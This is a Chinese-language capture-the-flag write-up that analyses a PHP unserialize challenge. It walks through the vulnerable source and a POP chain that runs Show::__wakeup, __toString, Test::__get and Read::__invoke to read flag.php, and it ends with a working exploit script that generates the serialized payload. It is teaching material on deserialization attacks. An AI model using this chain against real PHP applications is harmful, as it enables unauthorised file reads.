0x01 题目来源
来自于prontosil师傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
0x02 前言
很特殊的POP链,从一个小白的角度出发来剖析这道题
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
0x03 分析
0#01 需要传入程序中的参数
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
分析:
- 如果传入hello参数, 进入反序列化
- 如果没有传入hello参数, 则会调用 Show这个类,显示
index.php
的内容
0#02 反序列化链分析
根据 Read ()
类中的 file_get()
可以看出这里是反序列化的终点,通过 file_get_content()
函数去读取flag文件
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
为了触发 file_get()
函数我们可以定位到魔术方法 __invoke()
-
__invoke()
: 当类的一个对象被当成函数调用的时候触发<?php class Test { public function __invoke($params1,$params2) { echo "__invoke()".'<p>'; echo "params1 : {$params1} <p>"; echo "params2 : {$params2} <p>"; } } $test = new Test(); $test(123,'aaa'); ?> // 结果显示 //__invoke() //params1 : 123 //params2 : aaa
所以我们就需要考虑如何触发 __invoke()
这个魔术方法?
定位到 Class Test的 __get()
方法, 此时的$function
参数一定是 Class Read, 这个类会被当做函数执行从而触发了 __invoke()
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
__get()
:当访问类中的私有属性或者是不存在的属性, 触发__get
魔术方法
那么问题又来了, 如何触发 __get()
魔术方法呢?
定位到 Class Show
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
看到有一个 __toString()
的 魔术方法, 里面返回了 $this->str['str']->source
, 倘若 $this->str['str']
的值为 Class Test,
那么 $this->str['str']->source
表示的意思就是 去调用了Test类中的不存在的属性source
,从而就会触发 __get()
魔术方法, 那么问题就变成如何触发 __toString()
这个魔术方法了?
__toString()
:当类作为字符串使用时触发
下面重难点来了!!!~
传统思维就是找echo
、<?=?>
等输出函数,因为他们默认是把类当作字符串使用,但这里发现无论如何都无法利用,而且一般在做CTF的题的时候,定式思维会认为 __wakeup()
这个魔术方法是需要绕过的,然而这里的 __wakeup()
确实我们反序列化入口的第一步~!
知识点: preg_match()
会将 $this->source
作为字符串使用,然后去匹配
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
所以,如果 source
传入一个 Class Show的时候, 在反序列化开始时就是触发 __wakeup
,然后通过 preg_match
触发 __toString
形成一个完整的反序列化链
完整的链为:
__wakeup(Show) => preg_match => __toString(Test) => __get(Read) => __invoke => file_get => file_get_contents('flag.php')
0#03 EXP
<?php
class Read {
public $var = 'flag.php';
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p ;
}
$a = new Show();
$a->source = $a; // toString;
$a->str['str'] = new Test();
$a->str['str']->p = new Read();
echo serialize($a);
拿到Flag!~
总结
序列化真的比较困难,需要你耐心推理,做出来的瞬间你会感到神清气爽,还有就是不要被定式思维限制了自己的思维~